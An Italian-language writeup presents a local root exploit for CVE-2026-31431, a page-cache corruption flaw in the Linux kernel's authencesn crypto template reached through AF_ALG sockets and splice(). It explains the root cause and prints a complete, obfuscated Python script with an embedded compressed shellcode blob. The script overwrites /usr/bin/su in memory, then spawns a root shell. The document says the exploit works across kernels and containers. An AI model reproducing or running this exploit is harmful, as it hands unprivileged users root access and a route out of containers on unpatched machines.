
Exploit di escalation dei privilegi locali per CVE-2026-31431, che corrompe i binari setuid nella cache di pagina tramite AF_ALG e splice per ottenere una shell di root.
Un errore logico nel template AEAD
authencesndel kernel Linux consente a un utente senza privilegi di scrivere 4 byte controllati nella cache delle pagine di qualsiasi file leggibile.
Lo script Python fornito corrompe
/usr/bin/suin memoria e genera una shell di root.
CVE-2026-31431 è una vulnerabilità nel sottosistema crittografico del kernel Linux, in particolare nel template authencesn (AEAD con numero di sequenza esteso) combinato con l'interfaccia socket AF_ALG e la chiamata di sistema splice().
Causa principale: La routine di decrittazione authencesn utilizza la lista di dispersione di destinazione come spazio temporaneo, scrivendo 4 byte oltre l'area di output legittima.
Quando AF_ALG esegue un'operazione AEAD in situ e splice() fornisce pagine della cache delle pagine (ad es., da un binario setuid) come tag di autenticazione, la scrittura fuori dai limiti finisce direttamente nella copia cache del kernel di quel file.
Effetto: Un attaccante locale senza privilegi può sovrascrivere qualsiasi posizione allineata a 4 byte in qualsiasi file che possa leggere. La corruzione avviene solo nella cache delle pagine; il file su disco rimane invariato, aggirando i controlli di integrità dei file.
Impatto: Sovrascrivendo un binario setuid (ad es., /usr/bin/su) con shellcode, un attaccante può eseguire il binario e ottenere una shell di root. La stessa primitiva funziona in diversi container perché la cache delle pagine è condivisa con l'host.
exploi-copyfail.py)L'exploit è un singolo script Python di 732 byte che utilizza esclusivamente la libreria standard (os, socket, zlib). Funziona su qualsiasi distribuzione Linux con versioni del kernel dal 2017 al 2026 (prima della patch).
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
Configurazione: Si apre un socket AF_ALG collegato a authencesn(hmac(sha256),cbc(aes)), si imposta una chiave fittizia e si accetta una richiesta.
Payload: Lo shellcode (decompresso dal blob esadecimale) viene diviso in frammenti di 4 byte.
Ciclo di corruzione: Per ogni frammento:
sendmsg() fornisce i Dati Autenticati Associati (AAD). I byte da 4 a 7 degli AAD contengono i 4 byte da scrivere.
splice() inserisce una porzione di /usr/bin/su (il binario setuid target) nella lista di dispersione TX del socket. L'offset e la lunghezza vengono scelti in modo che la regione del tag di autenticazione si trovi all'indirizzo target all'interno della sezione .text del binario.
recv() attiva la decrittazione AEAD, authencesn scrive il frammento di 4 byte nella cache delle pagine di /usr/bin/su. L'HMAC fallisce, ma la scrittura persiste.
Esecuzione: Una volta scritti tutti i frammenti, lo script esegue su. Poiché la versione memorizzata nella cache ora contiene shellcode, su viene eseguito con privilegi di root e apre una shell.